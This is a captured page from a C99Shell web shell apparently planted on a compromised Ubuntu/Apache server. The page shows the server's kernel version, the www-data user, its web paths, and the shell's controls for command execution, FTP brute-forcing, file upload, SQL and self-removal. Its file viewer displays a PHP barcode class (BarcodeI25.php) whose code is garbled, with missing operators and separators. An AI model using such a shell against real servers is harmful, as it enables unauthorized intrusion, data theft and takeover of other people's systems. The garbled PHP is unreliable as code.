!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache/2.4.18 (Ubuntu). PHP/7.0.33-0ubuntu0.16.04.16 

uname -a: Linux digifus 3.13.0-57-generic #95-Ubuntu SMP Fri Jun 19 09:28:15 UTC 2015 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/var/www/html/almazen2/application/libraries/   drwxr-xr-x
Free 9.76 GB of 29.4 GB (33.2%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     BarcodeI25.php (2.21 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
class BarcodeI25 {
    static private 
$encoding = array('NNWWN''WNNNW''NWNNW''WWNNN''NNWNW''WNWNN''NWWNN''NNNWW''WNNWN','NWNWN');

    public static function 
bitStringTo2DArray$digit ){
        
$d = array();
        
$len strlen($digit);
        for(
$i=0$i<$len$i++) $d[$i] = $digit[$i];
        return(array(
$d));
    }
    
    public static function 
digitToGDRenderer($gd$color$xi$yi$angle$mw$mh$digit){
        
$fn = function($points) use ($gd$color) {
            
imagefilledpolygon($gd$points4$color);
        };
        return 
self::digitToRenderer($fn$xi$yi$angle$mw$mh$digit);
    }
    
    static public function 
compute($code$crc$type){
        if (! 
$crc) {
            if (
strlen($code) % 2$code '0' $code;
        } else {
            if ( (
$type == 'int25') && (strlen($code) % == 0) ) $code '0' $code;
            
$odd true;
            
$sum 0;
            for(
$i=strlen($code)-1$i>-1$i--){
                
$v intval($code[$i]);
                
$sum += $odd $v $v;
                
$odd = ! $odd;
            }
            
$code .= (string) ((10 $sum 10) % 10);
        }
        return(
$code);
    }

    static public function 
getDigit($code$crc$type){
        
$code self::compute($code$crc$type);
        if (
$code == '') return($code);
        
$result '';

        if (
$type == 'int25') { // Interleaved 2 of 5
            // start
            
$result .= '1010';

            
// digits + CRC
            
$end strlen($code) / 2;
            for(
$i=0$i<$end$i++){
                
$c1 $code[2*$i];
                
$c2 $code[2*$i+1];
                for(
$j=0$j<5$j++){
                    
$result .= '1';
                    if (
self::$encoding[$c1][$j] == 'W'$result .= '1';
                    
$result .= '0';
                    if (
self::$encoding[$c2][$j] == 'W'$result .= '0';
                }
            }
            
// stop
            
$result .= '1101';
        } else if (
$type == 'std25') {
            
// Standard 2 of 5 is a numeric-only barcode that has been in use a long time.
            // Unlike Interleaved 2 of 5, all of the information is encoded in the bars; the spaces are fixed width and are used only to separate the bars.
            // The code is self-checking and does not include a checksum.

            // start
            
$result .= '11011010';

            
// digits + CRC
            
$end strlen($code);
            for(
$i=0$i<$end$i++){
                
$c $code[$i];
                for(
$j=0$j<5$j++){
                    
$result .= '1';
                    if (
self::$encoding[$c][$j] == 'W'$result .= '11';
                    
$result .= '0';
                }
            }
            
// stop
            
$result .= '11010110';
        }
        return(
$result);
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by KaizenLouie | C99Shell Github | Generation time: 0.0057 ]--